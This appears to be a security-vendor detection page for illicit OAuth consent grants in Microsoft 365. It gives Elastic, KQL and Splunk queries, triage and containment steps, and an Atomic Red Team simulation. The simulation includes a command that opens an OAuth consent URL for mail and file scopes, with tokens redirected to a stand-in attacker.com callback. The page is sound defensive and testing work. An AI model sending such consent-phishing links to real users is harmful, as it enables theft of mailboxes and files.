Detect Suspicious OAuth Application Consent Grant in Microsoft 365 in Elastic Security
Illicit OAuth consent grants are a persistent M365 attack vector where users are tricked into granting third-party applications excessive permissions to their Microsoft 365 data. Attackers register OAuth apps with convincing names ('HR Document Portal', 'Microsoft Security Update', 'Teams Bot') and send phishing emails directing users to 'consent' to the app. Once consented, the attacker's app has persistent API access (often with Mail.Read, Contacts.Read, Files.Read, or offline_access) without needing the user's credentials or bypassing MFA. Microsoft documented Storm-0558 and Midnight Blizzard using this technique. NCSC UK warns that illicit consent grants are particularly effective against SMBs because many lack admin consent workflows. Attackers can also use 'consent phishing' through OAuth apps registered in the same Entra ID tenant after initial compromise.
MITRE ATT&CK
- Tactic
- Credential Access Collection
Elastic Detection Query
any where event.dataset == "azure.auditlogs"
and event.action in~ (
"Consent to application",
"Add delegated permission grant",
"Add OAuth2PermissionGrant",
"Add app role assignment to service principal"
)
and event.outcome == "success"
and (
azure.auditlogs.properties.additional_details : (
"*Mail.Read*", "*Mail.ReadWrite*", "*Mail.Send*",
"*Files.Read.All*", "*Files.ReadWrite.All*",
"*offline_access*", "*Directory.Read.All*",
"*User.Read.All*", "*User.ReadWrite.All*",
"*Contacts.Read*", "*Contacts.ReadWrite*",
"*Sites.Read.All*", "*Sites.ReadWrite.All*",
"*MailboxSettings.ReadWrite*", "*Calendars.ReadWrite*",
"*Group.Read.All*", "*Mail.ReadBasic.All*"
)
or event.action in~ ("Add app role assignment to service principal")
or azure.auditlogs.properties.additional_details : "*admin consent*"
)Detects illicit OAuth consent grants in Azure AD / Entra ID where users or administrators grant third-party applications sensitive API permissions covering mail, files, contacts, calendar, and directory access. Covers consent phishing techniques attributed to Storm-0558 and Midnight Blizzard threat actors. A secondary hunting angle targets first-time application consents by joining against a 90-day baseline of previously seen app IDs.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate IT-sanctioned enterprise application deployments where administrators intentionally grant broad OAuth permissions to approved productivity or security tools such as Salesforce, Workday, or ServiceNow M365 connectors
- Microsoft first-party or rebranded applications appearing as new consents during tenant migrations, license tier upgrades, or Microsoft Entra policy changes that require re-consent
- Automated provisioning workflows including Azure DevOps service principals and Power Automate connectors legitimately requesting delegated or application permissions as part of CI/CD pipeline setup
Other platforms for THREAT-M365-SuspiciousOAuthConsent
Testing Methodology
Validate this detection against 1 adversary technique from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1 Illicit OAuth Consent Grant Simulation
Expected signal: Azure AD Audit log records 'Consent to application' event with Mail.Read, offline_access, and Files.Read.All permissions for the test user.
Response Playbook
Triage
- Identify the application name and publisher: is this a Microsoft-published app, a well-known SaaS vendor (Salesforce, DocuSign, Slack), or an unknown/suspicious publisher?
- Check the application in Azure AD > Enterprise Applications > [App] > Permissions. Review the granted permissions against the principle of least privilege.
- Check the consenting user: did they receive a phishing email directing them to consent to this app? Review their incoming mail in the 24 hours before the consent event.
- Verify if the app is listed in Microsoft AppSource or your internal approved app registry.
- Review what data the app has accessed post-consent: Azure AD > Enterprise Applications > [App] > Activity logs / Sign-ins.
Containment
- Revoke the suspicious OAuth application consent: Azure AD > Enterprise Applications > [App] > Permissions > Revoke admin consent (or remove user consent grant).
- Block the application in Entra ID if it's malicious: Azure AD > Enterprise Applications > [App] > Properties > Enabled for users to sign-in = No.
- Enable admin consent workflow (requires Entra ID P1/P2): Azure AD > Enterprise Applications > Consent and permissions > User consent settings > Require admin approval.
- Audit all tokens issued to the revoked application and rotate credentials/secrets for any service accounts that may have also consented.
- Investigate any data access by the application before revocation.
Evidence Collection
- Azure AD Audit logs: consent event with full permission list, consenting user, application details
- Azure AD Enterprise Applications: sign-in activity and data accessed post-consent
- O365 audit logs: MailItemsAccessed, FileAccessed events attributed to the malicious application
- Phishing email (if recoverable) that directed user to consent
Escalation Criteria
- !Application granted Mail.ReadWrite or Mail.Send — attacker can read all email and send as the user
- !Application granted Files.ReadWrite.All — full SharePoint/OneDrive access
- !Admin consent granted for tenant-wide access
- !Multiple users have consented to the same suspicious application
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Azure AD Audit log: consent event details including permission scopes - >
Enterprise Application sign-in logs: all API calls made by the app post-consent - >
O365 MailItemsAccessed: mail read by the malicious application - >
SharePoint/OneDrive audit logs: file access by the application
Tuning Guidance
Enable admin consent requirement for all user consent requests in Entra ID (requires P1 or P2 licence for workflow). Without this control, any user can grant any third-party application access to their M365 data. For existing consents, run a monthly review of all enterprise applications and their permission scopes. Prioritise reviewing any app with Mail.Read, offline_access, or Files.ReadWrite.All that was not deployed by IT. Consider creating an Entra ID access review workflow for application consents.
Hunting Queries
Hunt for applications consented to by multiple users — a phishing campaign distributing consent phishing links will show multiple users consenting to the same malicious application.
AuditLogs
| where TimeGenerated > ago(90d)
| where OperationName has "Consent to application"
| extend AppName = tostring(TargetResources[0].displayName)
| extend Permissions = tostring(AdditionalDetails)
| summarize
ConsentCount=count(),
ConsentingUsers=make_set(tostring(InitiatedBy.user.userPrincipalName))
by AppName, Permissions
| where ConsentCount > 1 // Multiple users consenting to same app — potential phishing campaign
| sort by ConsentCount descindex=azure sourcetype="azure:aad:audit" OperationName="Consent to application"
| spath input=TargetResources path="{0}.displayName" output=AppName
| spath input=InitiatedBy path="user.userPrincipalName" output=user
| stats count AS ConsentCount, dc(user) AS UniqueUsers, values(user) AS Users
BY AppName
| where ConsentCount > 1
| sort - ConsentCountAtomic Red Team Tests
Registers a test OAuth application with sensitive permissions and initiates the user consent flow to simulate illicit consent grant phishing.
Command
Start-Process 'https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/authorize?client_id=<TEST_APP_ID>&response_type=code&redirect_uri=https://attacker.com/callback&scope=mail.read+offline_access+files.read.all'Cleanup
Remove the test application from Azure AD > App Registrations and revoke any consented permissions.Expected Telemetry
Azure AD Audit log records 'Consent to application' event with Mail.Read, offline_access, and Files.Read.All permissions for the test user.
Expected Detection
Alert fires on sensitive permissions (Mail.Read, Files.Read.All, offline_access) in consent grant event.